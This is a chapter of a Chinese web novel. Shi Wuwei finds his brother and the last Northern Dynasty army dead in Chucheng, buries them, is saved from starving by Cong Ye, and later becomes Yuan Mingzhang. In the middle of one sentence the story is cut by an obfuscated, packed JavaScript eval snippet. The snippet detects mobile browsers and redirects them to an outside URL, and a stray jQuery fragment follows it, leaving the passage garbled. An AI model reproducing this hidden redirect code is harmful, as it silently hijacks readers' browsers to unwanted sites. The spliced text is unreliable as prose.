等施无畏走到楮城，已是傍晚。
昨夜的暴雨狂风将通城及其周边城池彻底洗礼，楮城亦没能幸免于难。
古老沧桑的城墙上水迹未干，飘摇的破旧旗帜拦腰折断，半死不活倚靠在顽石上，瞧不出一丝生机。
尘封已久的城门打开了。虚掩着留了条缝，站在外边朝里看，只见一片浑浊暗黄。
他僵硬地迈开腿，额头撞在门上，酥酥的脆木触感，伴随着轻轻“咚”的一声，缓缓将门挤向两边。
大漠的风热且浓稠，吹在人身上就像迎面来了几股汤气，让人很是不舒服。
没走几步，前方一大推不知什么东西拦住了去路，施无畏拖着尸体的手紧了紧，黯淡无光的眸子微微抬起。
在看清脚下东西后，少年瞳孔陡然放大，手脚发软，膝盖一沉，身体脱力就这么瘫了下去。
他原不解师娘明明将他身世之谜瞒了十八年，为何偏偏在昨日全盘托出，并且如此决绝地头也不回，便和生活在她故土的侵略者们同归于尽。
现在他明白了。
楮城下，连接城门的那条四丈大道上，七横八竖躺了许多还算新鲜的尸体，他们脸上身体上都是尘土，灰扑扑的，简直快和满目疮痍的破败城池融为一体。
其中一些他见过。
其中，还有一个穿着龙袍的小孩。
而他的亲哥哥，元乾，此刻正躺在尸群中央。
他们头发整齐，穿戴得体。甚至，脸上还挂着笑。
他们是被人杀死的吗？
他不知道，他唯一能确定的是。陪着元乾苦撑十数年的北朝幼帝残军，在楮城，全军覆没。
北朝，灭国了。
他在心里默念了一遍。心脏突突的，咚咚咚一下一下震得他耳膜疼。
北朝，灭国了。
半晌，施无畏轻哼一声，脸埋入胸膛，无奈地哑出一声笑。
既然如此，那么他是谁呢？
是北朝大公主的儿子？是天上宗宗主衢九尘的爱徒？是北朝的元家儿，还是大周的施无畏？
少年仰起头，冷着脸环视一圈，将周围事物一寸寸尽收眼底，在瞥见地上从北姑伤口里淌出、和他们融在一起的血后，终于忍不住笑了。
施无畏嘴近乎咧到耳后，脖子袒露在天空下，却听不出一丝笑意。
他谁都不是，又或者说，他谁都不算。
什么皇天贵胄，什么天下第一。母国覆灭，亲人皆亡，他不过是游荡在故土的一缕孤魂罢了。
风来了，一阵一阵，刀片一般刮得他眼珠疼。
少年愣愣地，一动不动，任凭眼泪流下。
他生在楮城，而他的亲人，全在楮城死。这究竟是上天赐予他的福报，还是命运强塞给他的死劫？
不知过了多久……
施无畏缓缓起身。
北朝仅剩一座城，而北朝，还剩一个人。
天黑了，仅剩之人躲在还剩之城，不知疲倦的把族人一具一具排列整齐，而后跪在地上，就着月色，用一捧又一捧的黄沙，给他们堆起一座巨大的简陋坟冢。
在埋葬亲人的过程中，他驰骋想象，给自己编织了许多不同的结局。
假如母亲在他出生后没有求师娘抚养他长大，那么他应该死在楮城。假如元乾认出他后没有逃避，那么他或许会和元乾一块赴死。假如师娘没有告诉他真相……他或许会……快乐无忧一辈子……
他知道，少了以上任何一步，他今生都是幸福的。
他毫不怀疑，他们都爱他。
他多希望他们不要打着保护的名头将他剔除出去，多希望在他们最无助最绝望的时候，他能站在他们身边，多希望他们狠下心决绝赴死之时，能够想起，想起他们在这个世界上还有一个亲人，他不多求，只希望他们能顺手递上一把刀，那样他就会有一个光荣而正当的理由，与他们一起印入北朝史册。而非是像现在这样，成为一个从小在大周长大、并且对自己大周人身份毫不存疑的北朝人。
可是没有假如，所以他无处可去，他可有可无。
天上的星星很亮，在它们的衬托下，底下的人是那么黯淡无光。
他就这样傻傻站在荒芜的城中，想了一夜……一昼……一天又一天……
他总觉得自己该恨什么人，几番思索下来，却谁也恨不了。
七天过去，他终于倒下了。
他知道自己会死，但他仍旧没有多余的动作，只是躺着，只是想着，他原以为自己会像计划中那样慢慢失去生命体
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056388|179125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
征，然后饿死。
可是命运总爱捉弄他。
就在他即将失去意识的前一秒，丛野出现了。
那个家伙依旧那么讨人嫌，一出场便打乱了他的节奏，不由分说居高临下就踹了他脸两脚。
“喂，别睡了，你师尊出事了。”
施无畏没有任何反应，他没有力气了，他快死了，他听不见外面的声音。
“赵辰违背咸通帝遗诏私自下山，皇帝派了重兵围剿。”
见他没动静，丛野两手抱在胸前，皱起眉头，又接着往少年脸上踢了两脚。
“喂！醒醒！别装死！我可没这么好心，别指望我给你师尊收尸。”
“……”
回应他的只有大漠呼呼的风声。
丛野干脆蹲下，提起少年左耳，清清嗓子对着里面大吼一声：“你师尊，衢九尘，马上要死了！”
出乎丛野意料的是，少年纹丝未动，甚至连眼睛都未眨一下。
丛野将信将疑，伸出手，在触碰到施无畏脉象的那一刻，仿佛被什么恶虫咬了一般，急急抽回手，在心中暗骂，撞了邪了！真想死！
他扶起施无畏，让少年靠在坟堆上。他一边不断地往少年体内输送灵力，一边满脸不耐烦，咬紧牙关恶狠狠地说道：“你给老子记住了，这是你欠老子的！总有一日，老子会亲自回来讨！”
……
施无畏最终没有死。
他信了丛野的话，离开楮城，踏上寻找师尊的旅途。
而另一边，一场精心策划的鸿门宴正在等待他的出现。
丛野没有说谎。衢九尘的确落入了朝廷的圈套，只是，出乎衢九尘意料的是，妻子居然死于叶四之手。他更没想到，朝廷根本没打算放过施无畏。
那么楮知白呢？他去了哪里？
除了他自己，没有人知道。他没有灵力，只能靠着一双腿，跋山涉水，寻找施无畏的踪迹。
可惜，他运气不好，他们总是错过。
一年后，他终于打探到了施无畏的消息。而那时的施无畏已经不叫施无畏了，府里的守卫把楮知白赶了出来。
少年藏匿于面具之下，他说。
施无畏早就死了。
这世上，只剩元明彰。